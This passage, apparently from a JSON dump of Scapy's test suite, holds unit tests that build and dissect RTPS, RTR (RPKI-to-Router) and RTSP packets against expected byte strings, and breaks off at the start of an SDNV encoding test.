instanceId=0x01000000\n      ),magic=b\"RTPS\"\n    )/RTPSMessage(submessages=[\n    RTPSSubMessage_INFO_TS(\n      submessageId=9,\n      submessageFlags=1,\n      octetsToNextHeader=8,\n      ts_seconds=1638425814,\n      ts_fraction=2083784982,\n    ), \n    RTPSSubMessage_DATA(\n      submessageId= 0x15,\n      submessageFlags= 0x7,\n      octetsToNextHeader= 54,\n      extraFlags= 0x0,\n      octetsToInlineQoS= 16,\n      readerEntityIdKey= 0x0,\n      readerEntityIdKind= 0x0,\n      writerEntityIdKey= 0x0,\n      writerEntityIdKind= 0x0,\n      writerSeqNumHi= 0,\n      writerSeqNumLow= 4,\n      inlineQoS= InlineQoSPacket(\n        parameters= [\n          PID_UNKNOWN(\n            parameterId= 0x801e,\n            parameterLength= 4,\n            parameterData= b'\\x00\\x00\\x00\\x00',\n          ),\n        ],\n        sentinel= PID_SENTINEL(\n          parameterId= 0x1,\n          parameterLength= 0,\n          parameterData= b'',\n        ),\n      ),\n      data= DataPacket(\n        encapsulationKind= 0x1,\n        encapsulationOptions= 0x3,\n        serializedData= b'=\\x00\\x00\\x00abcdefghij\\x00\\x00\\x00\\x00',\n      ),\n    ),\n    RTPSSubMessage_INFO_TS(\n      submessageId=9,\n      submessageFlags=1,\n      octetsToNextHeader=8,\n      ts_seconds=1638425814,\n      ts_fraction=2083784982,\n    ), \n    RTPSSubMessage_DATA(\n      submessageId= 0x15,\n      submessageFlags= 0x7,\n      octetsToNextHeader= 54,\n      extraFlags= 0x0,\n      octetsToInlineQoS= 16,\n      readerEntityIdKey= 0x0,\n      readerEntityIdKind= 0x0,\n      writerEntityIdKey= 0x0,\n      writerEntityIdKind= 0x0,\n      writerSeqNumHi= 0,\n      writerSeqNumLow= 4,\n      inlineQoS= InlineQoSPacket(\n        parameters= [\n          PID_UNKNOWN(\n            parameterId= 0x801e,\n            parameterLength= 4,\n            parameterData= b'\\x00\\x00\\x00\\x00',\n          ),\n        ],\n        sentinel= PID_SENTINEL(\n          parameterId= 0x1,\n          parameterLength= 0,\n          parameterData= b'',\n        ),\n      ),\n      data= DataPacket(\n        encapsulationKind= 0x1,\n        encapsulationOptions= 0x3,\n        serializedData= b'=\\x00\\x00\\x00abcdefghij\\x00\\x00\\x00\\x00',\n      ),\n    ),\n])\n\nd = b\"\\x52\\x54\\x50\\x53\\x02\\x02\\x01\\x0f\\x01\\x0f\\x45\\xd2\\xb3\\xf5\\x58\\xb9\" \\\n    b\"\\x01\\x00\\x00\\x00\\x09\\x01\\x08\\x00\\xd6\\x64\\xa8\\x61\\x16\\x09\\x34\\x7c\" \\\n    b\"\\x15\\x07\\x36\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n    b\"\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x1e\\x80\\x04\\x00\\x00\\x00\\x00\\x00\" \\\n    b\"\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x03\\x3d\\x00\\x00\\x00\\x61\\x62\\x63\\x64\" \\\n    b\"\\x65\\x66\\x67\\x68\\x69\\x6a\\x00\\x00\\x00\\x00\\x09\\x01\\x08\\x00\\xd6\\x64\" \\\n    b\"\\xa8\\x61\\x16\\x09\\x34\\x7c\\x15\\x07\\x36\\x00\\x00\\x00\\x10\\x00\\x00\\x00\" \\\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x1e\\x80\" \\\n    b\"\\x04\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x03\\x3d\\x00\" \\\n    b\"\\x00\\x00\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x00\\x00\\x00\\x00\"\n\nassert RTPS(d) == p0\n"
  },
  {
    "path": "test/contrib/rtr.uts",
    "content": "+ RTR Serial Notify\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRSerialNotify()\nraw(pkt) == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRSerialNotify()\nRTRSerialNotify in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 0 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0\n\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRSerialNotify(session_id=12345, length=12, serial_number=789)\nraw(pkt) == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00]#\\x00\\x00\\x00\\x0009\\x00\\x00\\x00\\x0c\\x00\\x00\\x03\\x15'\n\n= dissection\n\npkt = Ether(b'\\x00\\x16>\\xa9\\x04\\x1a\\x84x\\xac[\\x82\\xc2\\x08\\x00E\\x00\\x16\\xd4\\xb9\\xa5@\\x005\\x06\\x93\\xd5\\x8d\\x16\\x1c\\xdc\\xb9\\x1a~\\x9c Z\\xcb\\xa2\\nF2`J\\xe2\\x8c\\xc0\\x80\\x10\\x00\\xe3\\xf8o\\x00\\x00\\x01\\x01\\x08\\n\\xeaX\\x9f\\x82\\x81\\xfb\\xc4\\n\\x00\\x00\\x00\\x00\\x00\\x00\\xcc!\\x00\\x04\\x00\\x00')\npkt.session_id == 0 and pkt.length == 52257 and pkt.serial_number == 262144\n\n+ RTR Serial Query\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRSerialQuery()\nraw(pkt) == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90p\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00'\n\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRSerialQuery()\nRTRSerialQuery in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 1 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0\n\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRSerialQuery(session_id=17, length=12, serial_number=55463)\nraw(pkt) == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xb7\\xb7\\x00\\x00\\x00\\x01\\x00\\x11\\x00\\x00\\x00\\x0c\\x00\\x00\\xd8\\xa7'\n\n= dissection\n\npkt = Ether(b'\\x00\\x07\\xb4\\x00+\\x02\\x00\\x16>\\xa9\\x04\\x1a\\x08\\x00E\\x00\\x00@I2@\\x00@\\x06\\x0f\\xdd\\xb9\\x1a~\\x9c\\x8d\\x16\\x1c\\xdc\\xcb\\xa2 ZJ\\xe2\\x8c\\xc0\\nR\\xdbD\\x80\\x18\\x05#\\xe1\\xdb\\x00\\x00\\x01\\x01\\x08\\n\\x81\\xfb\\xcf\\xca\\xeaX\\xcd\\x92\\x00\\x01\\x13/\\x00\\x00\\x00\\x0c\\x00\\x00\\x81\\x7f')\npkt.session_id == 4911 and pkt.length == 12 and pkt.serial_number == 33151\n\n+ RTR Reset Query\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRResetQuery()\nraw(pkt) == b'E\\x00\\x000\\x00\\x01\\x00\\x00@\\x06|\\xc5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90w\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x08'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRResetQuery()\nRTRResetQuery in pkt and pkt.reserved == 0 and pkt.length == 8\n\n#= filled values build - nonsense test\n\n= dissection\n\npkt = Ether(b\"\\x00\\x07\\xb4\\x00+\\x02\\x00\\x16>\\xa9\\x04\\x1a\\x08\\x00E\\x00\\x00<H\\xb8@\\x00@\\x06\\x10[\\xb9\\x1a~\\x9c\\x8d\\x16\\x1c\\xdc\\xcb\\xa2 ZJ\\xe2\\x8c\\xb8\\nF'\\x10\\x80\\x18\\x00\\xe5\\xe1\\xd7\\x00\\x00\\x01\\x01\\x08\\n\\x81\\xfb\\xc4\\n\\xeaX\\x9e\\x91\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x08\")\npkt.reserved == 0 and pkt.length == 8\n\n+ RTR Cache Response\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()\nraw(pkt) == b'E\\x00\\x000\\x00\\x01\\x00\\x00@\\x06|\\xc5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90v\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x08'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()\nRTRCacheResponse in pkt and pkt.session_id == 0 and pkt.length == 8\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)\nraw(pkt) == b'E\\x00\\x000\\x00\\x01\\x00\\x00@\\x06|\\xc5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00`=\\x00\\x00\\x00\\x0309\\x00\\x00\\x00\\x08'\n\n= dissection\n\npkt = Ether(b\"\\x00\\x16>\\xa9\\x04\\x1a\\x84x\\xac[\\x82\\xc2\\x08\\x00E\\x00\\x0b\\x84\\xb9\\xa3@\\x005\\x06\\x9f'\\x8d\\x16\\x1c\\xdc\\xb9\\x1a~\\x9c Z\\xcb\\xa2\\nF'\\x10J\\xe2\\x8c\\xc0\\x80\\x10\\x00\\xe3\\xed\\x1f\\x00\\x00\\x01\\x01\\x08\\n\\xeaX\\x9f\\x82\\x81\\xfb\\xc4\\n\\x00\\x03\\x13/\\x00\\x00\\x00\\x08\")\npkt.session_id == 4911 and pkt.length == 8\n\n+ RTR IPv4 Prefix\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix()\nraw(pkt) == b'E\\x00\\x00D\\x00\\x01\\x00\\x00@\\x06|\\xb1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90J\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix()\nRTRIPv4Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == \"0.0.0.0\" and pkt.asn == 0\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix(prefix=\"192.0.2.0\", asn=45000, shortest_length=20, longest_length=20)\nraw(pkt) == b'E\\x00\\x00D\\x00\\x01\\x00\\x00@\\x06|\\xb1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\nm\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x14\\x14\\x00\\xc0\\x00\\x02\\x00\\x00\\x00\\xaf\\xc8'\n\n= dissection\n\npkt = Ether(b\"\\x00\\x16>\\xa9\\x04\\x1a\\x84x\\xac[\\x82\\xc2\\x08\\x00E\\x00\\x0b\\x84\\xb9\\xa3@\\x005\\x06\\x9f'\\x8d\\x16\\x1c\\xdc\\xb9\\x1a~\\x9c Z\\xcb\\xa2\\nF'\\x10J\\xe2\\x8c\\xc0\\x80\\x10\\x00\\xe3\\xed\\x1f\\x00\\x00\\x01\\x01\\x08\\n\\xeaX\\x9f\\x82\\x81\\xfb\\xc4\\n\\x00\\x03\\x13/\\x00\\x00\\x00\\x08\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x14\\x01\\x13\\x13\\x00Y\\xb9\\xe0\\x00\\x00\\x00a\\x8b\")\npkt.asn == 24971 and pkt.prefix == \"89.185.224.0\"and pkt.shortest_length == 19 and pkt.longest_length == 19\n\n\n+ RTR IPv6 Prefix\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix()\nraw(pkt) == b'E\\x00\\x00P\\x00\\x01\\x00\\x00@\\x06|\\xa5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x900\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x06\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= default value build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix()\nRTRIPv6Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == \"::\" and pkt.asn == 0\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix(prefix=\"2001:db8::\", asn=45000, shortest_length=32, longest_length=32)\npkt.prefix == \"2001:db8::\" and pkt.asn == 45000 and pkt.shortest_length == 32 and pkt.longest_length == 32\n\n= dissection\n\npkt = Ether(b\"\\x00\\x16>\\xa9\\x04\\x1a\\x84x\\xac[\\x82\\xc2\\x08\\x00E\\x00\\x0b\\x84\\xb9\\xa3@\\x005\\x06\\x9f'\\x8d\\x16\\x1c\\xdc\\xb9\\x1a~\\x9c Z\\xcb\\xa2\\nF'\\x10J\\xe2\\x8c\\xc0\\x80\\x10\\x00\\xe3\\xed\\x1f\\x00\\x00\\x01\\x01\\x08\\n\\xeaX\\x9f\\x82\\x81\\xfb\\xc4\\n\\x00\\x03\\x13/\\x00\\x00\\x00\\x08\\x00\\x06\\x00\\x00\\x00\\x00\\x00 \\x01  \\x00*\\x03\\xcd\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00?\\xe2\")\npkt.prefix == \"2a03:cd80::\" and pkt.asn == 16354 and pkt.shortest_length == 32 and pkt.longest_length == 32\n\n+ RTR End of Data version 0\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0()\nraw(pkt) == b'E\\x00\\x00<\\x00\\x01\\x00\\x00@\\x06|\\xb9\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90W\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0()\nRTREndofDatav0 in pkt and pkt.session_id == 0 and pkt.serial_number == 0\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav0(session_id=12345, serial_number=17)\npkt.serial_number == 17 and pkt.session_id == 12345\n\n= dissection\n\npkt = IP(b'E\\x00\\x00<\\x00\\x01\\x00\\x00@\\x06|\\xb9\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01 Z\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x0f\\x8e\\x00\\x00\\x00\\x0309\\x00\\x00\\x00\\x08\\x00\\x0709\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x11')\nRTREndofDatav0 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345\n\n+ RTR End of Data version 1\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1()\nraw(pkt) == b'E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x06|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x8f?\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x08\\x01\\x07\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1()\nRTREndofDatav1 in pkt and pkt.session_id == 0 and pkt.serial_number == 0 and pkt.refresh_interval == 0 and pkt.retry_interval == 0 and pkt.expire_interval == 0\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav1(session_id=12345, serial_number=17, refresh_interval=500 , retry_interval=200, expire_interval=1800)\npkt.serial_number == 17 and pkt.session_id == 12345\n\n= dissection\n\npkt = IP(b'E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x06|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00$\\xf8\\x00\\x00\\x00\\x0309\\x00\\x00\\x00\\x08\\x01\\x0709\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x11\\x00\\x00\\x01\\xf4\\x00\\x00\\x00\\xc8\\x00\\x00\\x07\\x08')\nRTREndofDatav1 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345\n\n+ RTR Cache Reset\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRCacheReset()\nraw(pkt) == b'E\\x00\\x000\\x00\\x01\\x00\\x00@\\x06|\\xc5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90q\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x08'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRCacheReset()\nRTRCacheReset in pkt and pkt.reserved == 0\n\n#= filled values build - nonsense test\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x000\\x00\\x01\\x00\\x00@\\x06|\\xc5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01 Z\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00p+\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x08')\nRTRCacheReset in pkt and pkt.reserved == 0\n\n+ RTR Router Key\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRRouterKey()\nraw(pkt) == b'E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x06|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x8f>\\x00\\x00\\x01\\t\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRRouterKey()\nRTRRouterKey in pkt and pkt.zeros == 0 and pkt.subject_key_identifier == b'' and pkt.asn == 0 and pkt.subject_PKI == b''\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRRouterKey(subject_key_identifier='7dd65f58882efc148edd', asn=45000, subject_PKI='Scapy ROA')\npkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.subject_key_identifier == b'7dd65f58882efc148edd'\n\n= dissection\npkt = IP(b'E\\x00\\x00Q\\x00\\x01\\x00\\x00@\\x06|\\xa4\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00x\\xe8\\x00\\x00\\x01\\t\\x00\\x00\\x00+\\x00\\x007dd65f58882efc148edd\\x00\\x00\\xaf\\xc8Scapy ROA')\nRTRRouterKey in pkt #and pkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.zeros == 0 and pkt.subject_key_identifier == b'7dd65f58882efc148edd'\n\n+ RTR Error Report\n\n= default instantiation\n\npkt = IP()/TCP(dport=323)/RTRErrorReport()\nraw(pkt) == b'E\\x00\\x008\\x00\\x01\\x00\\x00@\\x06|\\xbd\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90]\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= default values build\n\npkt = IP()/TCP(dport=323)/RTRErrorReport()\nRTRErrorReport in pkt and pkt.error_code == 0 and pkt.erroneous_PDU == b'' and pkt.error_text == b''\n\n= filled values build\n\npkt = IP()/TCP(dport=323)/RTRErrorReport(error_code=1, error_text='Internal Error')\nRTRErrorReport in pkt and pkt.error_code == 1 and pkt.error_text == b'Internal Error'\n\n= dissection\n\npkt = IP(b'E\\x00\\x00F\\x00\\x01\\x00\\x00@\\x06|\\xaf\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01 Z\\x01C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xdc\\x15\\x00\\x00\\x00\\n\\x00\\x01\\x00\\x00\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0eInternal Error')\nRTRErrorReport in pkt and pkt.error_code == 1 and pkt.error_text == b'Internal Error'\n"
  },
  {
    "path": "test/contrib/rtsp.uts",
    "content": "% RTSP tests\n\n+ RTSP - Dissection and Build tests\n\n= RTSP request - dissection\n\npkt = Ether(b'\\xbc\\xdf \\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x08\\x00E\\x00\\x01\\xde\\x16\\xca@\\x00\\x80\\x06\\xf9\\xb8Q\\x83\\xe7CR\\xd3\\\\\\xfd\\x0fU\\x02*\\xbf\\xd4\\xcb\\xa4~\\n\\x19DP\\x18\"8\\x86n\\x00\\x00DESCRIBE rtsp://EMAP1.planetwideradio.com/tfm RTSP/1.0\\r\\nUser-Agent: WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7\\r\\nAccept: application/sdp\\r\\nAccept-Charset: UTF-8, *;q=0.1\\r\\nX-Accept-Authentication: Negotiate, NTLM, Digest, Basic\\r\\nAccept-Language: en-GB, *;q=0.1\\r\\nCSeq: 1\\r\\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.predstrm, com.microsoft.wm.startupprofile\\r\\n\\r\\n')\nassert RTSPRequest in pkt\nassert pkt.Method == b\"DESCRIBE\"\nassert pkt.Request_Uri == b\"rtsp://EMAP1.planetwideradio.com/tfm\"\nassert pkt.Version == b\"RTSP/1.0\"\nassert pkt.Accept == b\"application/sdp\"\nassert pkt.User_Agent == b\"WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7\"\n\n= RTSP request - build\n\nrebuild = RTSP() / RTSPRequest(Accept=b'application/sdp', Accept_Language=b'en-GB, *;q=0.1', User_Agent=b'WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7', Unknown_Headers={b'Accept-Charset': b'UTF-8, *;q=0.1', b'X-Accept-Authentication': b'Negotiate, NTLM, Digest, Basic', b'CSeq': b'1', b'Supported': b'com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.predstrm, com.microsoft.wm.startupprofile'}, Method=b'DESCRIBE', Request_Uri=b'rtsp://EMAP1.planetwideradio.com/tfm', Version=b'RTSP/1.0')\nassert bytes(rebuild) == b'DESCRIBE rtsp://EMAP1.planetwideradio.com/tfm RTSP/1.0\\r\\nAccept: application/sdp\\r\\nAccept-Language: en-GB, *;q=0.1\\r\\nUser-Agent: WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7\\r\\nAccept-Charset: UTF-8, *;q=0.1\\r\\nX-Accept-Authentication: Negotiate, NTLM, Digest, Basic\\r\\nCSeq: 1\\r\\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.predstrm, com.microsoft.wm.startupprofile\\r\\n\\r\\n'\n\n= RTSP response - dissection\n\npkt = Ether(b'\\x00\\x02\\xb3L\\xf6\\xb2\\x00 \\x9cR\\x93`\\x08\\x00E\\x80\\x02cY\\x13@\\x00p\\x06\\xa9\\x91\\xd8@\\xbe=\\n\\xc9d)\\x02*\\t\\x9d\\xf7p\\xe8O\\x10\\xfcz\\x9fP\\x18\\xfc\\xc0\\x91L\\x00\\x00RTSP/1.0 200 OK\\r\\nTransport: RTP/AVP/UDP;unicast;server_port=5004-5005;client_port=2462-2463;ssrc=927717de;mode=PLAY\\r\\nDate: Sun, 06 Nov 2005 12:19:47 GMT\\r\\nCSeq: 2\\r\\nSession: 17555940012607716235;timeout=60\\r\\nServer: WMServer/9.1.1.3814\\r\\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.fastcache, com.microsoft.wm.packetpairssrc, com.microsoft.wm.startupprofile\\r\\nLast-Modified: Thu, 20 Oct 2005 16:30:11 GMT\\r\\nCache-Control: x-wms-content-size=84457, max-age=86398, must-revalidate, proxy-revalidate\\r\\nEtag: \"84457\"\\r\\n\\r\\n')\nassert RTSPResponse in pkt\nassert pkt.Version == b\"RTSP/1.0\"\nassert pkt.Status_Code == b\"200\"\nassert pkt.Reason_Phrase == b\"OK\"\nassert pkt.Server == b\"WMServer/9.1.1.3814\"\n\n= RTSP response - build\n\nrebuild = RTSP() / RTSPResponse(Server=b'WMServer/9.1.1.3814', Unknown_Headers={b'Transport': b'RTP/AVP/UDP;unicast;server_port=5004-5005;client_port=2462-2463;ssrc=927717de;mode=PLAY', b'Date': b'Sun, 06 Nov 2005 12:19:47 GMT', b'CSeq': b'2', b'Session': b'17555940012607716235;timeout=60', b'Supported': b'com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.fastcache, com.microsoft.wm.packetpairssrc, com.microsoft.wm.startupprofile', b'Last-Modified': b'Thu, 20 Oct 2005 16:30:11 GMT', b'Cache-Control': b'x-wms-content-size=84457, max-age=86398, must-revalidate, proxy-revalidate', b'Etag': b'\"84457\"'}, Version=b'RTSP/1.0', Status_Code=b'200', Reason_Phrase=b'OK')\nassert bytes(rebuild) == b'RTSP/1.0 200 OK\\r\\nServer: WMServer/9.1.1.3814\\r\\nTransport: RTP/AVP/UDP;unicast;server_port=5004-5005;client_port=2462-2463;ssrc=927717de;mode=PLAY\\r\\nDate: Sun, 06 Nov 2005 12:19:47 GMT\\r\\nCSeq: 2\\r\\nSession: 17555940012607716235;timeout=60\\r\\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.fastcache, com.microsoft.wm.packetpairssrc, com.microsoft.wm.startupprofile\\r\\nLast-Modified: Thu, 20 Oct 2005 16:30:11 GMT\\r\\nCache-Control: x-wms-content-size=84457, max-age=86398, must-revalidate, proxy-revalidate\\r\\nEtag: \"84457\"\\r\\n\\r\\n'\n"
  },
  {
    "path": "test/contrib/sdnv.uts",
    "content": "% SDNV library tests\n\n############\n############\n+ Test SDNV encoding/decoding\n\n= Load SDNVUtil\n\n# Explicit to load SDNVUtil\nload_contrib(\"sdnv\")\n\n= Define utils\n\ndef doTestVector(vec):\n    # Test numbers individually\n    for n in vec:\n        ba = SDNVUtil.encode(n)\n        (num, sdnvLen) = SDNVUtil.decode(ba, 0)\n        if num != n:\n            print(\"Error encoding/decoding\", n)\n            return False\n    # Encode them all in a bunch\n    ba = bytearray()\n    for n in vec:\n        temp = SDNVUtil.encode(n)\n        ba = ba + temp\n    offset = 0\n    outNums = []\n    for n in vec:\n        (num, sdnvLen) = SDNVUtil.decode(ba, offset)\n        outNums.append(num)\n        